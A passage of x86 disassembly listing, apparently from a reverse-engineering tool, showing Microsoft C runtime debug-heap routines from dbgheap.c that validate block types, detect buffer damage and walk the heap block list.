		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_419ADB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_419ADB
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_419ADB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_419ADB
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	3F9h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419ADB
		int	3		; Trap to Debugger


loc_419ADB:				; CODE XREF: sub_4199B0+E6j
					; sub_4199B0+EFj ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_419A88
		mov	eax, dword_4510C0
		and	eax, 4
		test	eax, eax
		jnz	loc_419BB6
		push	4
		mov	cl, byte_4510CC
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 1Ch
		push	edx
		call	sub_41A000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419B50


loc_419B0D:				; CODE XREF: sub_4199B0+19Ej
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_4510D0[ecx*4]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	1
		call	sub_41EED0
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_419B4A
		int	3		; Trap to Debugger


loc_419B4A:				; CODE XREF: sub_4199B0+197j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419B0D


loc_419B50:				; CODE XREF: sub_4199B0+15Bj
		push	4
		mov	cl, byte_4510CC
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_41A000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419BB6


loc_419B73:				; CODE XREF: sub_4199B0+204j
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_4510D0[ecx*4]
		push	edx
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	1
		call	sub_41EED0
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_419BB0
		int	3		; Trap to Debugger


loc_419BB0:				; CODE XREF: sub_4199B0+1FDj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419B73


loc_419BB6:				; CODE XREF: sub_4199B0+13Bj
					; sub_4199B0+1C1j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_419C2B


loc_419BBF:				; CODE XREF: sub_4199B0+249j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_419BD4
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_419BF5


loc_419BD4:				; CODE XREF: sub_4199B0+219j
		push	offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
		push	0
		push	40Eh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419BF5
		int	3		; Trap to Debugger


loc_419BF5:				; CODE XREF: sub_4199B0+222j
					; sub_4199B0+242j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_419BBF
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, byte_4510CD
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41B190
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41FFC0
		add	esp, 4
		jmp	loc_419D95
; ---------------------------------------------------------------------------


loc_419C2B:				; CODE XREF: sub_4199B0+20Dj
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 2
		jnz	short loc_419C41
		cmp	[ebp+arg_4], 1
		jnz	short loc_419C41
		mov	[ebp+arg_4], 2


loc_419C41:				; CODE XREF: sub_4199B0+282j
					; sub_4199B0+288j ...
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_419C6D
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	41Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419C6D
		int	3		; Trap to Debugger


loc_419C6D:				; CODE XREF: sub_4199B0+29Aj
					; sub_4199B0+2BAj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_419C41
		mov	edx, [ebp+var_4]
		mov	eax, dword_4EF870
		sub	eax, [edx+10h]
		mov	dword_4EF870, eax
		mov	ecx, dword_4510C0
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_419D6C
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_419CAC
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		jmp	short loc_419CEA
; ---------------------------------------------------------------------------


loc_419CAC:				; CODE XREF: sub_4199B0+2EAj
					; sub_4199B0+32Cj
		mov	ecx, dword_4EF864
		cmp	ecx, [ebp+var_4]
		jz	short loc_419CD8
		push	offset a_plastblockPhe ; "_pLastBlock == pHead"
		push	0
		push	42Ah
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419CD8
		int	3		; Trap to Debugger


loc_419CD8:				; CODE XREF: sub_4199B0+305j
					; sub_4199B0+325j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_419CAC
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	dword_4EF864, ecx


loc_419CEA:				; CODE XREF: sub_4199B0+2FAj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+4], 0
		jz	short loc_419D02
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ecx], eax
		jmp	short loc_419D3F
; ---------------------------------------------------------------------------


loc_419D02:				; CODE XREF: sub_4199B0+341j
					; sub_4199B0+382j
		mov	ecx, dword_4EF86C
		cmp	ecx, [ebp+var_4]
		jz	short loc_419D2E
		push	offset a_pfirstblockPh ; "_pFirstBlock == pHead"
		push	0
		push	434h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419D2E
		int	3		; Trap to Debugger


loc_419D2E:				; CODE XREF: sub_4199B0+35Bj
					; sub_4199B0+37Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_419D02
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	dword_4EF86C, ecx


loc_419D3F:				; CODE XREF: sub_4199B0+350j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, byte_4510CD
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41B190
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41FFC0
		add	esp, 4
		jmp	short loc_419D95
; ---------------------------------------------------------------------------


loc_419D6C:				; CODE XREF: sub_4199B0+2DEj
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		xor	ecx, ecx
		mov	cl, byte_4510CD
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 20h
		push	edx
		call	sub_41B190
		add	esp, 0Ch


loc_419D95:				; CODE XREF: sub_4199B0+49j
					; sub_4199B0+93j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4199B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_419DC0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DC0	proc near		; CODE XREF: .nsp0:00419DA9p
					; sub_41D930+11p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4510C0
		and	eax, 4
		test	eax, eax
		jz	short loc_419E05


loc_419DD5:				; CODE XREF: sub_419DC0+43j
		call	sub_41A090
		test	eax, eax
		jnz	short loc_419DFF
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	47Ch
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419DFF
		int	3		; Trap to Debugger


loc_419DFF:				; CODE XREF: sub_419DC0+1Cj
					; sub_419DC0+3Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_419DD5


loc_419E05:				; CODE XREF: sub_419DC0+13j
		push	9
		call	sub_41FB40
		add	esp, 4


loc_419E0F:				; CODE XREF: sub_419DC0+84j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41A4F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_419E40
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	485h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419E40
		int	3		; Trap to Debugger


loc_419E40:				; CODE XREF: sub_419DC0+5Dj
					; sub_419DC0+7Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419E0F
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_8], ecx


loc_419E4F:				; CODE XREF: sub_419DC0+E6j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_419EA2
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_419EA2
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_419EA2
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_419EA2
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	48Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419EA2
		int	3		; Trap to Debugger


loc_419EA2:				; CODE XREF: sub_419DC0+9Dj
					; sub_419DC0+A6j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_419E4F
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+14h], 2
		jnz	short loc_419EBE
		cmp	[ebp+arg_4], 1
		jnz	short loc_419EBE
		mov	[ebp+arg_4], 2


loc_419EBE:				; CODE XREF: sub_419DC0+EFj
					; sub_419DC0+F5j
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_419EF9


loc_419EC7:				; CODE XREF: sub_419DC0+137j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_419EF3
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	492h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419EF3
		int	3		; Trap to Debugger


loc_419EF3:				; CODE XREF: sub_419DC0+110j
					; sub_419DC0+130j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_419EC7


loc_419EF9:				; CODE XREF: sub_419DC0+105j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_4], eax
		push	9
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419DC0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4510C8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4510C8, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_41A4F0
		add	esp, 4
		test	eax, eax
		jz	short loc_419FCC
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-4], ecx


loc_419F6A:				; CODE XREF: .nsp0:00419FC1j
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_419FBD
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_419FBD
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_419FBD
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_419FBD
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	4D3h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419FBD
		int	3		; Trap to Debugger


loc_419FBD:				; CODE XREF: .nsp0:00419F78j
					; .nsp0:00419F81j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_419F6A
		mov	eax, [ebp-4]
		mov	ecx, [ebp+0Ch]
		mov	[eax+14h], ecx


loc_419FCC:				; CODE XREF: .nsp0:00419F5Fj
		push	9
		call	sub_41FBE0
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, off_451490
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	off_451490, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A000	proc near		; CODE XREF: sub_4199B0+151p
					; sub_4199B0+1B7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 1


loc_41A00E:				; CODE XREF: sub_41A000:loc_41A07Cj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_41A07E
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	eax, ecx
		jz	short loc_41A07C


loc_41A03B:				; CODE XREF: sub_41A000+73j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		push	eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx-1]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		push	eax
		push	offset aMemoryCheckErr ; "memory check error at	0x%08X = 0x%02X, "...
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41A06F
		int	3		; Trap to Debugger


loc_41A06F:				; CODE XREF: sub_41A000+6Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41A03B
		mov	[ebp+var_4], 0


loc_41A07C:				; CODE XREF: sub_41A000+39j
		jmp	short loc_41A00E
; ---------------------------------------------------------------------------


loc_41A07E:				; CODE XREF: sub_41A000+1Cj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41A000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A090	proc near		; CODE XREF: sub_418FC0:loc_418FDCp
					; sub_4193C0:loc_419422p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		mov	eax, dword_4510C0
		and	eax, 1
		test	eax, eax
		jnz	short loc_41A0B6
		mov	eax, 1
		jmp	loc_41A3E8
; ---------------------------------------------------------------------------


loc_41A0B6:				; CODE XREF: sub_41A090+1Aj
		push	9
		call	sub_41FB40
		add	esp, 4
		call	sub_420030
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	loc_41A1D9
		cmp	[ebp+var_C], 0FFFFFFFEh
		jz	loc_41A1D9
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		add	edx, 6
		mov	[ebp+var_18], edx
		cmp	[ebp+var_18], 3
		ja	loc_41A1A2
		mov	eax, [ebp+var_18]
		jmp	off_41A3EF[eax*4]


loc_41A0FF:				; CODE XREF: sub_41A090+93j
					; DATA XREF: .nsp0:0041A3FBo
		push	offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41A11F
		int	3		; Trap to Debugger


loc_41A11F:				; CODE XREF: sub_41A090+8Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41A0FF
		jmp	loc_41A1C8
; ---------------------------------------------------------------------------


loc_41A12A:				; CODE XREF: sub_41A090+68j
					; sub_41A090+BEj
					; DATA XREF: ...
		push	offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41A14A
		int	3		; Trap to Debugger


loc_41A14A:				; CODE XREF: sub_41A090+B7j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41A12A
		jmp	short loc_41A1C8
; ---------------------------------------------------------------------------


loc_41A152:				; CODE XREF: sub_41A090+68j
					; sub_41A090+E6j
					; DATA XREF: ...
		push	offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41A172
		int	3		; Trap to Debugger


loc_41A172:				; CODE XREF: sub_41A090+DFj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41A152
		jmp	short loc_41A1C8
; ---------------------------------------------------------------------------


loc_41A17A:				; CODE XREF: sub_41A090+68j
					; sub_41A090+10Ej
					; DATA XREF: ...
		push	offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41A19A
		int	3		; Trap to Debugger


loc_41A19A:				; CODE XREF: sub_41A090+107j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41A17A
		jmp	short loc_41A1C8
; ---------------------------------------------------------------------------


loc_41A1A2:				; CODE XREF: sub_41A090+5Fj
					; sub_41A090+136j
		push	offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41A1C2
		int	3		; Trap to Debugger


loc_41A1C2:				; CODE XREF: sub_41A090+12Fj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41A1A2


loc_41A1C8:				; CODE XREF: sub_41A090+95j
					; sub_41A090+C0j ...
		push	9
		call	sub_41FBE0
		add	esp, 4
		xor	eax, eax
		jmp	loc_41A3E8
; ---------------------------------------------------------------------------


loc_41A1D9:				; CODE XREF: sub_41A090+3Cj
					; sub_41A090+46j
		mov	eax, dword_4EF86C
		mov	[ebp+var_8], eax
		jmp	short loc_41A1EB
; ---------------------------------------------------------------------------


loc_41A1E3:				; CODE XREF: sub_41A090:loc_41A3D6j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		mov	[ebp+var_8], edx


loc_41A1EB:				; CODE XREF: sub_41A090+151j
		cmp	[ebp+var_8], 0
		jz	loc_41A3DB
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_41A230
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+14h], 1
		jz	short loc_41A230
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41A230
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+14h], 3
		jnz	short loc_41A248


loc_41A230:				; CODE XREF: sub_41A090+17Bj
					; sub_41A090+184j ...
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_4510D0[ecx*4]
		mov	[ebp+var_14], edx
		jmp	short loc_41A24F
; ---------------------------------------------------------------------------


loc_41A248:				; CODE XREF: sub_41A090+19Ej
		mov	[ebp+var_14], offset aDamaged ;	"DAMAGED"


loc_41A24F:				; CODE XREF: sub_41A090+1B6j
		push	4
		mov	al, byte_4510CC
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1Ch
		push	ecx
		call	sub_41A000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A2A4


loc_41A26A:				; CODE XREF: sub_41A090+20Bj
		mov	edx, [ebp+var_8]
		add	edx, 20h
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+18h]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41A297
		int	3		; Trap to Debugger


loc_41A297:				; CODE XREF: sub_41A090+204j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41A26A
		mov	[ebp+var_10], 0


loc_41A2A4:				; CODE XREF: sub_41A090+1D8j
		push	4
		mov	cl, byte_4510CC
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_41A000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A301


loc_41A2C7:				; CODE XREF: sub_41A090+268j
		mov	eax, [ebp+var_8]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41A2F4
		int	3		; Trap to Debugger


loc_41A2F4:				; CODE XREF: sub_41A090+261j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41A2C7
		mov	[ebp+var_10], 0


loc_41A301:				; CODE XREF: sub_41A090+235j
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+14h], 0
		jnz	short loc_41A35A
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		mov	dl, byte_4510CD
		push	edx
		mov	eax, [ebp+var_8]
		add	eax, 20h
		push	eax
		call	sub_41A000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A35A


loc_41A32B:				; CODE XREF: sub_41A090+2C1j
		mov	ecx, [ebp+var_8]
		add	ecx, 20h
		push	ecx
		push	offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41A34D
		int	3		; Trap to Debugger


loc_41A34D:				; CODE XREF: sub_41A090+2BAj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41A32B
		mov	[ebp+var_10], 0


loc_41A35A:				; CODE XREF: sub_41A090+278j
					; sub_41A090+299j
		cmp	[ebp+var_10], 0
		jnz	short loc_41A3D6
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+8], 0
		jz	short loc_41A39C


loc_41A369:				; CODE XREF: sub_41A090+30Aj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		push	offset aHsAllocatedAtF ; "%hs allocated	at file	%hs(%d).\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41A396
		int	3		; Trap to Debugger


loc_41A396:				; CODE XREF: sub_41A090+303j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41A369


loc_41A39C:				; CODE XREF: sub_41A090+2D7j
					; sub_41A090+33Dj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+var_8]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		push	offset aHsLocatedAt0x0 ; "%hs located at 0x%08X	is %u bytes long."...
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41A3C9
		int	3		; Trap to Debugger


loc_41A3C9:				; CODE XREF: sub_41A090+336j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41A39C
		mov	[ebp+var_4], 0


loc_41A3D6:				; CODE XREF: sub_41A090+2CEj
		jmp	loc_41A1E3
; ---------------------------------------------------------------------------


loc_41A3DB:				; CODE XREF: sub_41A090+15Fj
		push	9
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_41A3E8:				; CODE XREF: sub_41A090+21j
					; sub_41A090+144j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41A090	endp

; ---------------------------------------------------------------------------
off_41A3EF	dd offset loc_41A17A	; DATA XREF: sub_41A090+68r
		dd offset loc_41A152
		dd offset loc_41A12A
		dd offset loc_41A0FF
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A400	proc near		; CODE XREF: sub_41B600+A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4510C0
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_41A41B
		mov	ecx, [ebp+arg_0]
		mov	dword_4510C0, ecx


loc_41A41B:				; CODE XREF: sub_41A400+10j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41A400	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4510C0
		and	eax, 1
		test	eax, eax
		jnz	short loc_41A442
		jmp	short loc_41A493
; ---------------------------------------------------------------------------


loc_41A442:				; CODE XREF: .nsp0:0041A43Ej
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	ecx, dword_4EF86C
		mov	[ebp-4], ecx
		jmp	short loc_41A45F
; ---------------------------------------------------------------------------


loc_41A457:				; CODE XREF: .nsp0:loc_41A487j
		mov	edx, [ebp-4]
		mov	eax, [edx]
		mov	[ebp-4], eax


loc_41A45F:				; CODE XREF: .nsp0:0041A455j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_41A489
		mov	ecx, [ebp-4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_41A487
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		add	ecx, 20h
		push	ecx
		call	dword ptr [ebp+8]
		add	esp, 8


loc_41A487:				; CODE XREF: .nsp0:0041A474j
		jmp	short loc_41A457
; ---------------------------------------------------------------------------


loc_41A489:				; CODE XREF: .nsp0:0041A463j
		push	9
		call	sub_41FBE0
